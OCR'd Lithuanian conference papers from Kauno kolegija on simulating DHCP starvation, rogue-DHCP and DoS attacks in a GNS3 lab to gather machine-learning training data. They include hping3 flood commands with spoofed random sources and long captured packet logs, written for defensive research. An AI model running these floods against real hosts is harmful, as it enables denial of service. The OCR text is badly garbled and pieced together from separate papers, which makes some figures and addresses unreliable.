Ataka ,,DHCP starvation® pavyko, buvo sunkumy su R1 konfigiiracija, taiau
atlikus iSsamig analize pavyko surasti sprendimg ir iStaisyti klaidas Kali Linux
platformoje. ,,Yersinia -G* grafiné aplinka neveiké, todél naudota ,,Yersinia -I1* aplinka,
taciau tai nesutrukdé atlikti atakos ir papildomy riipes¢iy nesukélé. Duomenys surinkti
ir iSrusiuoti. Kalbant apie kitg ataka, problemy kilo daug daugiau (1 lentel¢). IP adresas
prisiskyré ir ,,DHCP Rogue serveris* buvo sukurtas, ta¢iau nebuvo galima prisijungti
prie interneto atakuojamame kompiuteryje ir stebéti srauto per ,,wireshark*.

1 lentelé. Scenarijy / ataky jgyvendinimas

.. Scenariaus / Duomeny
Scenarijus / N
ataka atakos surinkimo Pastabos
igyvendinimas igyvendinimas

DHCP Starvation | Pavyko Pavyko Yersinia -G grafinis vaizdas
neveikia kokybiskai, todél
buvo naudota Yersinia -1
aplinka ir dirbta su ja.

DHCP Rogue Dalinai Dalinai Po komandos ipconfig

Server /renew IP adresas

prisiskyré, taciau jungiantis
prie interneto nebuvo
galimybés stebéti kliento
srauto, kur ir kg klientas
veikia, bei nebuvo galima
stebéti slaptazodziy. Kilo
problemy su eth adapteriais,
nebuvo interneto.
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ISvados

1. R1 marSrutizatorius nebuvo tinkamai apsaugotas nuo Sios atakos. Tinklo
konfigtiracijoje buvo nustatytos neatsargios IP adresy ribos, kurios leido atakuotojui
s¢kmingai vykdyti ataka ir uzimti didel¢ IP adresy dalj. Be to, atakuojantysis nebuvo
tinkamai aptiktas ar sustabdytas. Siekiant apsaugoti tinklg nuo panasiy ataky, svarbu
tinkamai konfigiiruoti DHCP serverj ir nustatyti saugumo priemones, tokias kaip —
filtravima, patikimy ,,port‘y” naudojima, IP adresy ribojima, tinklo srauto stebéjima.
Eksperimentas parodé koks svarbus jrankis WireShark, kuris padeda stebéti tinklo srautg.

2. Kadangi po ,ipconfig /renew* IP adresas prisiskyré, taciau nepavyko
prisijungti prie interneto, galima teigti, kad ,,DHCP Rogue serveris“ buvo s¢kmingai
nustatytas ir kliento kompiuteris gavo naujg IP adresg i§ sukurto ,,pool‘o* riby, to
priezastis galéjo biiti DNS serverio nustatymai buvo neteisingi, todél nebuvo gautas
interneto rysys.

3. Naudojama stebéjimo jranga veiké puikiai, WireShark galingas jrankis,
kuris tikrai padeda rengiant atakas. Duomeny srauto pakety generavimui ir duomeny
rusiavimui tinka naudoti TShark, nes ja paprasta naudotis ir patogiai konfigiruojamos
komandos.
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Summary

Automatic detection and timely prevention of DHCP protocol attacks, especially in the wireless
access space, remains a challenging problem. The application of machine learning methods for
thwarting such criminal activities provides additional perspectives. The availability of large
amounts of appropriate data reflecting criminal behaviour becomes a key prerequisite for the
application of machine learning. Due to security requirements, data generation in a real-world
environment is not feasible, but a secure simulation environment can be used for this purpose. In
this article, various DHCP protocol attacks and scenarios are analysed, and data transmitted over
the computer network reflecting such attacks as well as GNS3 platform prepared for simulating
these scenarios is described. The results of scenario simulations, their evaluations, and
conclusions are provided.
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DoS ataky simuliavimas GNS3

Tadas Paulauskas, Paulius Baltrusaitis
Kauno kolegija

Anotacija: DoS kompiuteriy tinklo aplinkoje identifikavimui ir uzkardymui
galima naudoti priemones, kurios remiasi duomeny srauto analizés pagrindu.
Identifikavimo proceso automatizavimui dideles perspektyvas turi masininio mokymosi
technologijy pritaikymas. Siam tikslui reikalingi dideli tinkamy duomeny kiekiai.
Kadangi DoS ataky duomeny generavimui reali aplinka nenaudotina dél saugumo, tai
galima pasitelkti atitinkamai parengta simuliacing aplinka. Straipsnyje analizuojami
DoS ataky tipai ir jy pozymiai, kurivos galima identifikuoti kompiuteriy tinklo
perduodamy duomeny sraute bei nusikalstamos veikos scenarijai ir naudojamos
priemonés. Pateikiama reikiamos topologijos ir reikiamas priemones turinti GNS3
simuliavimo aplinka jvairiems galimiems DoS pazeidimy scenarijams jgyvendinti.
Aprasomi reikiamy duomeny kaupimo btidai ir priemonés. Pateikiami iSanalizuoty DoS
ataky simuliacijy rezultatai, sukaupty duomeny vertinimai ir i$vados.

Raktiniai Zodziai: Kali Linux, VMware, Ubuntu, GNS3, DoS, masininis
mokymasis.

Ivadas

Sparciai augantis interneto paslaugy naudojimas kelia vis daugiau grésmiy.
Viena i§ tokiy grésmiy DoS atakos, kurios pastaraisiais metais auga ne tik kiekiu, bet ir
savo galia. Taciau vystantis technologijoms atsiranda vis naujy biidy Sioms atakoms
uzkirsti kelig, vienas i§ tokiy blidy yra masininis mokymasis, kurj apmokius yra
suteikiama galimybé automatikai tokias atakas aptikti ir neleisti joms jvykti.Siam
tikslui jgyvendinti reikia sukurti virtualig simuliacing aplinka, kurioje galima atlikti
skirtingas DoS atakas ir stebéti jas naudojant Wireshark, kuris suteikia galimybe realiu
laiku stebéti tinklo srauta atliekant Dos atakg ir Tshark, su kuriuo galima rinkti
duomenis apie srauta, naudojant komanding eilutg.

Tyrimo objektas — DoS ataky simuliacija naudojant GNS3.

Tyrimo tikslas: sukurti simuliacine aplinkg GNS3 platformoje, kurioje biity
galima atlikti DoS atakas ir jas analizuoti, renkant duomenis masininiam mokymuisi.
Istirti GNS3 platformos DoS ataky simuliavimo, jy analizés ir duomeny masininiam
mokymuisi generavimo galimybes.

Tyrimo uZdaviniai:

1. ISanalizuoti DoS (DDoS) ataky ypatumus.

2. Parengti GNS3 simuliacing platforma DoS ataky simuliavimui ir duomeny
srauty fiksavimui.

3. Atlikti skirtingy DoS ataky simuliacijas.

4. lvertinti gautus rezultatus.

Tyrimo metodika — tyrimui buvo naudojama literatiros analizé bei ataky
simuliacija GNS3 platformoje.

96



DoS ir DDoS ataky analizé

Ataky simuliacija: viena i§ DDoS ataky simuliacijy buvo aprasyta straipsnyje
(Towards Securing Cloud Computing from DDOS Attacks, 2020), kuri buvo atlikta
GNS3 aplinkoje, apzvelgiant | debesy kompiuterijos apsaugos galimybes, naudojant
Snort jrankj ir jvertinant galimybes pasitelkti masininj mokymasi.

DDoS atakos:

UDP Flood — $ios atakos metu atakuotojas naudojasi UDP protokolu, kad
atlikty ataka, $i ataka yra atliekama siunciant didelius kiekius UDP pakety j aukos
prievadus, kurie priimg $j protokola.

ICMP Flood — ICMP Flood ataka, dar vadinama ping flood ataka, nutinka kai
atakuotojas siuncia milziniskus kiekius ICMP pakety | aukos serverj, kad iSeikvoty visa
esama pralaidumo (juosta bandwidth) dél to sutrikdydama susisiekimg kitiems
vartotojams susisiekti su serveriu.

TCP ACK - Sios atakos metu atakuotojas siekia iSnaudoti TCP protokolo
pazeidziamuma, Sios atakos metu atakuotojas siuncia TCP ACK paketus i$ netikry IP
adresy, Sie paketai apsimeta, kad patvirtina neegzistuojanéius rySius, perpildydami
serverio iSteklius, kai jis bando apdoroti klaidingy patvirtinimy antpliid;.

TCP SYN - $ios atakos metu atakuotojas naudojasi TCP prokolu ir i$siuncia
i$ netikry IP adresy netikras TCP SYN uzklausas, o aukos serveris laukia, kol gaus TCP
ACK pranes§ima, kad galéty pradéti bendravima tarpusavyje, ta¢iau jo taip ir nesulaukia.
Sios atakos metu yra uzkraunami puolamojo serverio resursai iki kol jis nebegali
susitvarkyti su jais, dél to serveris tampa nebepasiekiamas kitiems vartotojams.

TCP RST - Sios atakos metu atakuotojas siuncia TCP paketus su RST
véliavélémis, o atakuojamo serveris mano, kad tai yra jprasti paketai ir nutraukia
atitinkamus TCP rySius. Dél to sutrinka jprasta veikla, nes vykstancios sesijos
uzdaromos anksciau laiko. Poveikis Sios atakos gali sutrikdyti arba visiskai sustabdyti
serverio paslaugas, dél to jprastiems vartotojams gali serveris tapti nebepasiekiamas.

DDoS ataky jrankiai:

HPING3 - yra DDoS jrankis, kuris gali atlikti daugybe skirtingy DDoS ataky,
taCiau pirmiausia jis buvo naudojamas kaip saugos jrankis, ir naudojamas kaip tinklo
testavimo jrankis.

Reikalavimai tinklo topologijai — tinklo topologijai yra butini: atakuotojo
kompiuteris, aukos kompiuteris, komutatorius.

Protokolai

TCP protokolas — TCP protokolas komunikacijos pradZioje uzmezga rysj tarp
serverio ir vartotojo, dar kitaip vadinamo 3 kryp¢iy rankos paspaudimu. Pradzioje
vartotojas iSsiuncia paketa su Syn veliavéle, kuri reiskia, kad vartotojas nori uzmegzti
ry$i su serveriu, tada serveris atsiuncia atgal SYN-ACK, o tai reiSkia, kad serveris
sutinka su rySio uZmezgimu. Tada vartotojas vél iSsiuncia SYN-ACK ir tarp jy yra
uzmezgamas ry8sys ir gali jie komunikuoti tarpusavyje.

UDP protokolas — skirtingai nei TCP protokolas UDP néra svarbu ar rySys yra
uzmegztas, jis tiesiog siuncia paketus.
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Apibendrinimas
Apibendrinant atliktg analize galima teigti, kad biitina fiksuotis Siuos perduodamy
pakety laukus: datg ir laika, IP siuntéjo, IP gavéjo, protokolus ir véliavéles, prievadus.
Platforma, jrankiai ir tyrimo metodologija
Simuliacijai buvo panaudotos GNS3 ir VMware platformos ir Sie jrankiai (1 pav.):
Kali Linux — jvairts jrankiai;
Wireshark — pakety analizavimas, tinklo srauto stebéjimas;
Tshark — pakety kopijavimas;
Ubuntu — serveris.

o

Simuliacija

Switchi webserveris

Debian12.x64-bit-1 Cloud1
= =

192.168.67.130 192.168.67.129

1 pav. Simuliuojamo tinklo topologija

Buvo atliekamos $ios atakos: UDP flood, ICMP Flood, TCP ACK, TCP SYN,
TCP RST. Atakoms simuliuoti buvo naudojama nurodoma topologija 1 pav. Kuriame
pavaizduota topologija sudaro Kali Linux, kuris instaliuojamas kartu su nmap ir hpings,
todél papildomy instaliacijy nereikéjo daryti. Ubuntu webserverj reikéjo papildomai
instaliuoti apache (sudo apt install apache2). Kadangi apache palaiko tik TCP prievadus,
o UDP flood atakai reikalingas UDP prievadas, todél dél Sios priezasties buvo
instaliuotas DNS serveris (sudo apt install bind9 bind9-utils bind9-doc). Papildomai dar
reikia jrasyti iproute2, kad biity galima sumazinti virtualios masinos pralaidumo juosta
(bandwith) — (sudo apt install iproute2) ir tada su $ia komanda susimazinama
pralaidumo juosta iki reikiamo dydzio (sudo tc qdisc add dev ens33 root tbf rate 100kbit
burst 10kbit latency 100ms). Atakuotojas virtualiai maSinai suteikta 2gb ram, o
atakuojamai virtualiai masinai suteikta 460mb ram, suteiktas minimalus kiekis resursu,
kad tik jsijungty.

Simuliacija buvo atlikta kompiuteryje, kurio parametrai yra tokie: Procesorius —
AMD Ryzen 5 5600H with Radeon Graphics, 3301 Mhz, 6 Core(s), Memory 8.00 GB,
GPU NVDIA GeForce RTX 3050.

Atakoms buvo naudojamas Kali Linux virtuali masina ir nmap, hping3 jrankiai
Pakety srautas buvo stebimas WireShark. Duomenys renkami Tshark.

Duomeny fiksavimas

Duomeny rinkimui buvo naudotas Tshark jrankis. Duomenys buvo renkami
per kompiuterio cmd komandy eilutg.
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Buvo renkami §ie pakety laukai: atakuotojo IP adresas, atakuojamo IP adresas,
ICMP pakety tipas, kuris patvirtina, kad ICMP pakety atsakus, laikas, ir protokolas,
kuris patvirtina, kad tai tikrai ICMP pakety srautas, tcp.flags.syn, tcp.flags.ack ir
tep.flags.reset filtruoja konkrecias TCP esancias véliavéles.

tshark -r bendras.pcapng -T fields -e frame.time -e ip.src -e ip.dst -e
_ws.col.Protocol -e tcp.flags.syn -e tcp.flags.ack -e tcp.flags.reset -e udp.srcport -e
udp.dstport -e icmp.type -e icmp.code -E header=y -E separator=, -E quote=d -E

occurrence=f > bendras.csv

Duomenys buvo suraSomi CSV formatu.
Pirmiausia buvo paleidziamas Wireshark jam surinkus duomenys ir i§saugojus

j faila, tuomet per cmd komanding eilute buvo panaudotas Tshark.

Duomeny stebéjimas
Srauto stebéjimui naudotas WireShark jrankis. Buvo stebima jungtis tarp
atakuotojo IP adreso ir Atakuojamojo IP adreso.

Scenarijai:

Buvo simuliucjama ICMP flood ataka
sudo hping3 -1 [Atakuojamojo IP adresas] --icmpcode 0 --icmptype 8 --flood

--rand-source

Apr 22,2024
21:29:53.392187000
FLE Daylight Time

9.8.127.164

192.168.67.129

Apr 22,2024
21:29:53.392210000
FLE Daylight Time

192.168.67.129

77.77.155.22

Apr 22,2024
21:29:53.392226000
FLE Daylight Time

77.91.38.3

192.168.67.129

Apr 22,2024
21:29:53.392240000
FLE Daylight Time

192.168.67.129

199.147.165.92

Apr 22,2024
21:29:53.392256000
FLE Daylight Time

199.88.102.40

192.168.67.129

Apr 22,2024
21:29:53.392269000
FLE Daylight Time

192.168.67.129

220.229.18.206

Apr 22,2024
21:29:53.392290000
FLE Daylight Time

192.168.67.129

102.209.211.43

Apr 22,2024
21:29:53.392296000
FLE Daylight Time

252.68.121.91

192.168.67.129

Apr 22,2024
21:29:53.392311000
FLE Daylight Time

192.168.67.129

198.111.22.9
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Apr 22,2024
21:29:53.392318000
FLE Daylight Time

108.25.39.165

192.168.67.129

Apr 22,2024
21:29:53.392332000
FLE Daylight Time

192.168.67.129

188.88.230.57

Apr 22,2024
21:29:53.392347000
FLE Daylight Time

231.220.5.40

192.168.67.129

Apr 22,2024
21:29:53.392352000
FLE Daylight Time

192.168.67.129

40.108.30.109

Apr 22,2024
21:29:53.392366000
FLE Daylight Time

138.229.222.192

192.168.67.129

Apr 22,2024
21:29:53.392380000
FLE Daylight Time

192.168.67.129

158.141.11.220

Apr 22,2024
21:29:53.392401000
FLE Daylight Time

229.212.18.64

192.168.67.129

Apr 22,2024
21:29:53.392403000
FLE Daylight Time

192.168.67.129

140.212.158.209

Apr 22,2024
21:29:53.392908000
FLE Daylight Time

246.169.12.199

192.168.67.129

Apr 22,2024
21:29:53.392947000
FLE Daylight Time

255.168.65.188

192.168.67.129

Apr 22,2024
21:29:53.392986000
FLE Daylight Time

36.9.135.254

192.168.67.129

Apr 22,2024
21:29:53.393025000
FLE Daylight Time

77.230.86.104

192.168.67.129

Apr 22,2024
21:29:53.393064000
FLE Daylight Time

43.185.104.202

192.168.67.129

Apr 22,2024
21:29:53.393103000
FLE Daylight Time

132.79.18.254

192.168.67.129

Pirmajame stulpelyje paZymétas laikas, antrajame siuntéjo IP adresas,
tre¢iajame gavejo IP adresas, ketvirtajame nurodomas ICMP protokolo veiksmas, 0 yra
atsakymai j ICMP uzklausas, o 8 reiskia siunciamas uzklausas, i§ virSuje esanciy
duomeny galima teigti, kad ataka buvo sékminga, kai atakuojamojo serveris nebesiunté
atgal atsakymuy.

Buvo simuliuojama SYN ACK flood ataka.

sudo hping3 -A -p (prievadas) --rand-source Atakuojamojo IP —flood
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Apr 28, 2024
00:47:51.542840000
FLE Daylight Time

227.227.206.176

192.168.67.129

TCP

TRUE

FALSE

Apr 28, 2024
00:47:51.542862000
FLE Daylight Time

192.168.67.129

16.27.225.217

TCP

FALSE

TRUE

Apr 28, 2024
00:47:51.542879000
FLE Daylight Time

36.99.77.153

192.168.67.129

TCP

TRUE

FALSE

Apr 28, 2024
00:47:51.542903000
FLE Daylight Time

192.168.67.129

35.130.3.72

TCP

FALSE

TRUE

Apr 28, 2024
00:47:51.542916000
FLE Daylight Time

199.87.142.10

192.168.67.129

TCcP

TRUE

FALSE

Apr 28, 2024
00:47:51.542928000
FLE Daylight Time

192.168.67.129

161.195.197.182

TCP

FALSE

TRUE

Apr 28, 2024
00:47:51.542945000
FLE Daylight Time

70.61.187.130

192.168.67.129

TCP

TRUE

FALSE

Apr 28, 2024
00:47:51.542955000
FLE Daylight Time

192.168.67.129

110.42.116.246

TCP

FALSE

TRUE

Apr 28, 2024
00:47:51.542984000
FLE Daylight Time

192.168.67.129

8.19.138.6

TCP

FALSE

TRUE

Apr 28, 2024
00:47:51.542988000
FLE Daylight Time

0.210.89.177

192.168.67.129

TCP

TRUE

FALSE

Apr 28, 2024
00:47:51.543016000
FLE Daylight Time

254.231.15.9

192.168.67.129

TCP

TRUE

FALSE

Apr 28, 2024
00:47:51.543022000
FLE Daylight Time

192.168.67.129

185.209.167.56

TCP

FALSE

TRUE

Apr 28, 2024
00:47:51.543047000
FLE Daylight Time

137.72.53.7

192.168.67.129

TCP

TRUE

FALSE

Apr 28, 2024
00:47:51.543056000
FLE Daylight Time

192.168.67.129

47.83.110.2

TCP

FALSE

TRUE

Apr 28, 2024
00:47:51.543076000
FLE Daylight Time

192.168.67.129

76.24.116.253

TCP

FALSE

TRUE

Apr 28, 2024
00:47:51.543078000
FLE Daylight Time

27.111.130.171

192.168.67.129

TCP

TRUE

FALSE

Apr 28, 2024
00:47:51.543095000
FLE Daylight Time

192.168.67.129

147.130.209.110

TCP

FALSE

TRUE
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Apr 28, 2024
00:47:51.543106000
FLE Daylight Time

161.132.163.212

192.168.67.129

TCP

TRUE

FALSE

Apr 28, 2024
00:47:51.543111000
FLE Daylight Time

192.168.67.129

240.209.9.122

TCP

FALSE

TRUE

Pirma eiluté laikas, antroji siuntéjo IP adresas, trecioji gavéjo IP adresas,
ketvirtoji protokolas, penktoji tcp ack, Sestoji tep rst.
Kai penktoji eiluté yra TRUE tai reiskia, kad tuo metu buvo issiystas tcp ack
paketas, kai Sestojoje eilutéje yra TRUE tai reiSkia, kad gavéjas iSsiunté tep rst paketa.
IS gauty duomeny néra aiSku ar ataka pavyko pilnai ir buvo sustabdytas serverio
veikimas, bet yra zinoma, kad buvo sukurta serveriui nemaza apkrova.
Buvo simuliuojama TCP SYN ataka
sudo hping3 -S -p 80 -flood --rand-source Atakuojamojo IP

Apr 28, 2024
02:44:14.465660000
FLE Daylight Time

192.168.67.129

66.37.239.224

TCP

TRUE | TRUE

FALSE

Apr 28, 2024
02:44:14.465677000
FLE Daylight Time

66.37.239.224

192.168.67.129

TCP

FALSE | FALSE

TRUE

Apr 28, 2024
02:44:14.466744000
FLE Daylight Time

247.47.215.132

192.168.67.129

TCP

TRUE | FALSE

FALSE

Apr 28, 2024
02:44:14.466817000
FLE Daylight Time

192.168.67.129

247.47.215.132

TCP

TRUE | TRUE

FALSE

Apr 28, 2024
02:44:14.467936000
FLE Daylight Time

179.84.121.174

192.168.67.129

TCP

TRUE | FALSE

FALSE

Apr 28, 2024
02:44:14.468014000
FLE Daylight Time

192.168.67.129

179.84.121.174

TCP

TRUE | TRUE

FALSE

Apr 28, 2024
02:44:14.468028000
FLE Daylight Time

179.84.121.174

192.168.67.129

TCP

FALSE | FALSE

TRUE

Apr 28, 2024
02:44:14.469432000
FLE Daylight Time

61.21.175.222

192.168.67.129

TCP

TRUE | FALSE

FALSE

Apr 28, 2024
02:44:14.469490000
FLE Daylight Time

192.168.67.129

61.21.175.222

TCP

TRUE | TRUE

FALSE

Apr 28, 2024
02:44:14.469502000
FLE Daylight Time

61.21.175.222

192.168.67.129

TCP

FALSE | FALSE

TRUE

Apr 28, 2024
02:44:14.470951000
FLE Daylight Time

235.151.140.38

192.168.67.129

TCP

TRUE | FALSE

FALSE
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Apr 28, 2024
02:44:14.472529000
FLE Daylight Time

20.35.86.119

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.472592000
FLE Daylight Time

192.168.67.129

20.35.86.119

TCP

TRUE

TRUE

FALSE

Apr 28, 2024
02:44:14.472607000
FLE Daylight Time

20.35.86.119

192.168.67.129

TCP

FALSE

FALSE

TRUE

Apr 28, 2024
02:44:14.473994000
FLE Daylight Time

54.26.231.131

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.474069000
FLE Daylight Time

192.168.67.129

54.26.231.131

TCP

TRUE

TRUE

FALSE

Apr 28, 2024
02:44:14.474082000
FLE Daylight Time

54.26.231.131

192.168.67.129

TCP

FALSE

FALSE

TRUE

Apr 28, 2024
02:44:14.475518000
FLE Daylight Time

175.174.150.143

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.475591000
FLE Daylight Time

192.168.67.129

175.174.150.143

TCP

TRUE

TRUE

FALSE

Apr 28, 2024
02:44:14.475605000
FLE Daylight Time

175.174.150.143

192.168.67.129

TCP

FALSE

FALSE

TRUE

Apr 28, 2024
02:44:14.477036000
FLE Daylight Time

74.156.206.231

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.477107000
FLE Daylight Time

192.168.67.129

74.156.206.231

TCP

TRUE

TRUE

FALSE

Apr 28, 2024
02:44:14.477118000
FLE Daylight Time

74.156.206.231

192.168.67.129

TCP

FALSE

FALSE

TRUE

Apr 28, 2024
02:44:14.479088000
FLE Daylight Time

108.148.148.20

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.479147000
FLE Daylight Time

116.105.204.193

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.479169000
FLE Daylight Time

192.168.67.129

108.148.148.20

TCP

TRUE

TRUE

FALSE

Apr 28, 2024
02:44:14.479182000
FLE Daylight Time

108.148.148.20

192.168.67.129

TCP

FALSE

FALSE

TRUE

Apr 28, 2024
02:44:14.479222000
FLE Daylight Time

192.168.67.129

116.105.204.193

TCP

TRUE

TRUE

FALSE
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Apr 28, 2024
02:44:14.479236000
FLE Daylight Time

116.105.204.193

192.168.67.129

TCP

FALSE

FALSE

TRUE

Apr 28, 2024
02:44:14.480562000
FLE Daylight Time

236.155.100.211

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.482071000
FLE Daylight Time

155.227.179.16

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.482144000
FLE Daylight Time

192.168.67.129

155.227.179.16

TCP

TRUE

TRUE

FALSE

Apr 28, 2024
02:44:14.482162000
FLE Daylight Time

155.227.179.16

192.168.67.129

TCP

FALSE

FALSE

TRUE

Apr 28, 2024
02:44:14.483130000
FLE Daylight Time

37.211.30.206

192.168.67.129

TCP

TRUE

FALSE

FALSE

Apr 28, 2024
02:44:14.483206000
FLE Daylight Time

192.168.67.129

37.211.30.206

TCP

TRUE

TRUE

FALSE

Apr 28, 2024
02:44:14.483220000
FLE Daylight Time

37.211.30.206

192.168.67.129

TCP

FALSE

FALSE

TRUE

Apr 28, 2024
02:44:14.484294000
FLE Daylight Time

61.173.91.155

192.168.67.129

TCP

TRUE

FALSE

FALSE

Pirma eiluté — laikas, antroji — siuntéjo IP adresas, tre¢ioji — gavéjo IP adresas,
ketvirtoji eiluté — protokolas, penktoji eiluté — tcp syn, Sestoji eiluté — tcp ack, septintoji
— tep rst. Penktoji eiluté simbolizuoja rySio sukiirima tarp siuntéjo ir gavéjo, Sestoji ta
ry$i patvirtina, o $estoji — rySio nutriikima. I§ surinkty duomeny galima teigti, kad ataka
buvo sékminga, nes serveris nebesusitvarké su esan¢iomis uzklausomis ir pradéjo siysti

tcp rst paketus.

Buvo simuliuojama TCP RST ataka
sudo hping3 --rand-source -R -p Prievadas Atakuojamojo IP --flood

Apr 28, 2024 03:32:51.568386000 FLE

234.122.196.130

192.168.67.129

TCcP

TRUE

Daylight Time

Daylight Time
Apr 28, 2024 03:32:51.568389000 FLE | 5, 3¢ 151 216 192.168.67.129 TCP | TRUE
Daylight Time
Apr 28, 2024 03:32:51.568419000 FLE | 15 156 136 141 192.168.67.129 TcP | TRUE
Daylight Time
Apr 28, 2024 03:32:51.568423000 FLE 2.7.109.67 192.168.67.129 TCP | TRUE
Daylight Time
Apr 28, 2024 03:32:51.568453000 FLE 75.167.78.16 192.168.67.129 TCP | TRUE
Daylight Time
Apr 28, 2024 03:32:51.568457000 FLE | 157 553 69105 192.168.67.129 TCP | TRUE

104



Apr 28, 2024 03:32:51.568487000 FLE 43.43.208.65 192.168.67.129 TcP | TRUE
Daylight Time
Apr 2.8' 20,24 03:32:51.568491000 FLE 86.66.87.195 192.168.67.129 TCP TRUE
Daylight Time
Apr 2.8' 20.24 03:32:51.568522000 FLE 103.38.119.241 192.168.67.129 TCP TRUE
Daylight Time
Apr 2.8' 20,24 03:32:51.568526000 FLE 196.184.238.186 192.168.67.129 TCP TRUE
Daylight Time
Apr 2.8' 20.24 03:32:51.568557000 FLE 184.181.121.120 192.168.67.129 TCP TRUE
Daylight Time
Apr 2.8' 20.24 03:32:51.568561000 FLE 86.87.250.2 192.168.67.129 TCP TRUE
Daylight Time
Apr 28, 2024 03:32:51.568592000 FLE | 4, 145 754 192 192.168.67.129 TCP | TRUE
Daylight Time
Apr 2.8' 20.24 03:32:51.568595000 FLE 225.184.16.192 192.168.67.129 TCP TRUE
Daylight Time
Apr ?8' 20.24 03:32:51.568652000 FLE 151.87.193.65 192.168.67.129 TCP TRUE
Daylight Time
Apr 28, 2024 03:32:1.568657000 FLE 20.3.78.195 192.168.67.129 TcP | TRUE
Daylight Time
Apr %8' 20.24 03:32:51.568690000 FLE 84.255.250.204 192.168.67.129 TCP TRUE
Daylight Time
Apr 28, 2024 03:32:51.568694000 FLE | ¢ 105 163,239 192.168.67.129 TcP | TRUE
Daylight Time
Apr %8' 20.24 03:32:51.568727000 FLE 205.222.108.201 192.168.67.129 TCP TRUE
Daylight Time
Apr 28, 2024 03:32:51.568731000 FLE 33.7.150.181 192.168.67.129 TCP | TRUE
Daylight Time
Apr 2.8' 20.24 03:32:51.568762000 FLE 177.217.1.67 192.168.67.129 TCP TRUE
Daylight Time
Apr 2.8' 20.24 03:32:51.568767000 FLE 120.192.66.201 192.168.67.129 TCP TRUE
Daylight Time
Apr 28, 2024 03:32:51.568797000 FLE | 146 173 7 20 192.168.67.129 TCP | TRUE
Daylight Time
Apr 2.8' 20.24 03:32:51.568802000 FLE 137.157.79.109 192.168.67.129 TCP TRUE
Daylight Time
Apr 28, 2024 03:32:51.568832000FLE | 457 119 157 206 192.168.67.129 TCP | TRUE
Daylight Time

Pirma eiluté — laikas, antroji — siuntéjo IP adresas, tre¢ioji — gavéjo IP adresas,
ketvirtoji — protokolas, penktoji — eiluté tai tcp rst. IS pateikty duomeny virSuje galima
teigti, kad ataka buvo sékminga, nes serveris nesiunéia jokiy pakety, tai gali rodyti, kad

jis yra pakankamai uzkrautas.

Buvo simuliuojama UDP Flood ataka

sudo hping3 -2 -p prievadas --flood --rand-source Atakuojamojo IP

Apr 28, 2024 04:27:16.038974000 FLE | 12, 134 75 244 | 192.168.67.129 | uDP | 1178 | 53
Daylight Time
Apr 28, 2024 04:27:16.039008000 FLE | ¢ 154 134 g9 192.168.67.129 | upp | 1179 | 53
Daylight Time
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Apr 28, 2024 04:27:16.039013000 FLE

Daylight Time

. " 64.252.87.126 192.168.67.129 UDP | 1180 | 53
Daylight Time
Apr 2,8' 20,24 04:27:16.039048000 FLE 211.213.82.122 192.168.67.129 UDP | 1181 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039053000 FLE 235.224.211.246 192.168.67.129 UDP | 1182 | 53
Daylight Time
Apr 2,8' 20,24 04:27:16.039086000 FLE 191.129.142.200 192.168.67.129 UDP | 1183 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039092000 FLE 239.131.71.98 192.168.67.129 UDP | 1184 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039127000 FLE 47.149.48.115 192.168.67.129 UDP | 1185 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039133000 FLE 115.71.40.13 192.168.67.129 UDP | 1186 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039169000 FLE 134.154.82.243 192.168.67.129 UDP | 1187 | 53
Daylight Time
Apr ?8' 20.24 04:27:16.039175000 FLE 171.246.105.251 192.168.67.129 UDP | 1188 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039215000 FLE 42.138.145.14 192.168.67.129 UDP | 1189 | 53
Daylight Time
Apr 2‘8' 20.24 04:27:16.039221000 FLE 247.96.234.111 192.168.67.129 UDP | 1190 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039257000 FLE 44.123.44.104 192.168.67.129 UDP | 1191 | 53
Daylight Time
Apr 2‘8' 20.24 04:27:16.039262000 FLE 251.84.24.11 192.168.67.129 UDP | 1192 | 53
Daylight Time
Apr 28, 2024 04:27:16.039297000 FLE | 100 16 14097 | 192.168.67.129 | upDP | 1193 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039302000 FLE 124.226.136.110 192.168.67.129 UDP | 1194 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039341000 FLE 150.191.130.163 192.168.67.129 UDP | 1195 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039347000 FLE 20.163.206.63 192.168.67.129 UDP | 1196 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039385000 FLE 199.148.212.247 192.168.67.129 UDP | 1197 | 53
Daylight Time
Apr 28, 2024 04:27:16.039391000FLE | o5 136 744127 | 192.168.67.129 | uDP | 1198 | 53
Daylight Time
Apr 2.8' 20.24 04:27:16.039424000 FLE 114.138.64.92 192.168.67.129 UDP | 1199 | 53
Daylight Time
Apr 28, 2024 04:27:16.039429000 FLE | 154 166 19 28 192.168.67.129 | UDP | 1200 | 53
Daylight Time
Apr 28, 2024 04:27:16.039465000 FLE | g9 54 743 15 192.168.67.129 | UDP | 1201 | 53

Pirma — eiluté laikas, antroji — siuntéjo IP adresas, tre¢ioji — gavéjo IP adresas,
ketvirtoji — protokolas, penktoji — siuntéjo prievadas Sestoji — gavéjo prievadas. I$ turimy
duomeny galima teigti, kad ataka buvo sékminga, nes, serveris nesuteikia jokio atsako dél

apkrovos.
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Simuliacinio tyrimo rezultatai ir aptarimas
Beveik visos atakos buvo atliktos taip, kaip ir planuota, buvo surinkti visi
reikalingi duomenys, matomas jy veikimo principas (1 lentelé).

1 lentelé. Ataky ir duomeny jvertinimai

Eil. | scenariius Scenariaus / Duomeny
’ J atakos surinkimo Pastabos
Nr. [ ataka . - . .
igyvendinimas | jgyvendinimas

1. ICMP Taip Taip Pagal WireShark duomeny srauta
